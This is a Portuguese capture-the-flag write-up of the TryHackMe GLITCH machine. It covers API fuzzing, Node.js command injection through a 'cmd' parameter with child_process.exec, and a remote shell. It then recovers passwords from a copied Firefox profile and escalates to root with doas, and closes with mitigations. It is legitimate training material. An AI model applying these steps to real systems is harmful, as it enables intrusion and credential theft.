Introdução
Neste write-up, demonstro a exploração da máquina GLITCH da plataforma TryHackMe.
O desafio apresenta uma aplicação web vulnerável que permite a exploração de uma Command Injection, resultando em execução remota de comandos e posterior escalonamento de privilégios até root.
O objetivo é mostrar uma abordagem prática e objetiva, simulando um cenário real de pentest.
Reconhecimento
Iniciei com uma varredura de portas utilizando Nmap:
nmap -sC -sV <IP>Resultado:
- Apenas a porta 80 (HTTP) estava aberta Indicando que a superfície de ataque está na aplicação web

Enumeração da aplicação
Ao acessar a aplicação no navegador, não encontrei funcionalidades relevantes inicialmente.
Porém, ao inspecionar o código-fonte da página, identifiquei um script JavaScript que realizava requisições para uma API interna.
Endpoint identificado:
/api/access
Ao acessar esse endpoint, recebi um valor codificado em Base64.

Decodificação
Após decodificar o conteúdo obtive a primeira flag
echo "<token>" | base64 -d
Para a segunda flag fiz um Fuzzing a partir do /api/ para tentar encontrar mais endpoints
ffuf -u http://<IP>/api/FUZZ -w /usr/share/seclists/Discovery/Web-Content/api/api-endpoints-res.txt
Acessei a API e não encontrei na de relevante.

Realizei mais um Fuzzing, desta vez no objeto.
A próxima dica sugeria:
"Qual outro método a API aceita?"
Isso indicava possível comportamento diferente com outros métodos HTTP.
Testes realizados:
- GET → sem resultado relevante
- POST → comportamento diferente
ffuf -u http://<IP>/api/items\?FUZZ\=TEST -w /usr/share/seclists/Discovery/Web-Content/api/objects.txt -fs 169 -X POSTAo testar POST, identifiquei um parâmetro interessante:
cmd

Identificação da vulnerabilidade
O parâmetro cmd indicava possível execução de comandos no backend.
Isso caracteriza uma Command Injection
Realizei a requisição com o Burp Suite obtendo um erro na resposta.

Exploração (RCE via Node.js)
A aplicação retornava respostas em JavaScript, sugerindo backend em Node.js.
Com isso, utilizei o módulo child_process para execução de comandos:
require("child_process").exec("<comando>")Para contornar possíveis filtros, utilizei URL Encoding no payload.


Acesso ao sistema
Após o envio do payload, obtive acesso remoto ao servidor via shell.
Durante a fase de pós-exploração, ao navegar até o diretório /home/user, foi possível localizar a segunda flag.


Escalação de privilégios
Para identificar possíveis vetores de privilege escalation, utilizei o:
- LinPEAS
wget http://<IP>/linpeas.sh -O /tmp/linpeas.sh
chmod +x /tmp/linpeas.sh
./linpeas.sh
Descoberta crítica
O script destacou informações relacionadas ao DOAS, indicando possível execução de comandos como root
Foi identificado um usuário chamado v0id, porém não havia informações úteis diretamente no diretório dele.

Exploração do perfil do navegador
Durante a análise, encontrei um diretório oculto do:
- Firefox
O Firefox armazena credenciais localmente no perfil do usuário, o que pode representar um risco quando essas informações não estão devidamente protegidas.

Compactei e transferi o conteúdo para minha máquina:
tar -czvf firefox.tar.gz .mozilla/
Descompactei a pasta na minha máquina e rodei o comando:
firefox --profile b5w4643p.default-release --allow-downgradeFoi possível acessar credenciais salvas no navegador

Acesso como usuário privilegiado
Utilizando a senha obtida:
su v0idAcesso root
Com o usuário v0id, executei:
doas -u root /bin/shObtendo acesso root
Flag final
cat /root/root.txt
Impacto da vulnerabilidade
A exploração permitiu:
- Execução remota de comandos (RCE)
- Acesso ao sistema operacional
- Extração de credenciais sensíveis
- Escalonamento de privilégios
- Comprometimento total da máquina
Mitigações
Para evitar esse tipo de vulnerabilidade:
- Validar e sanitizar entradas do usuário
- Evitar execução direta de comandos no backend
- Utilizar listas de permissões (whitelisting)
- Proteger credenciais armazenadas em navegadores
- Restringir permissões de ferramentas como
doas
Conclusão
A máquina GLITCH é um excelente desafio introdutório que aborda:
- Exploração de APIs
- Command Injection
- Reverse Shell
- Privilege Escalation
- Exposição de credenciais via navegador
Além disso, reforça a importância de boas práticas de segurança tanto no desenvolvimento quanto na configuração do sistema.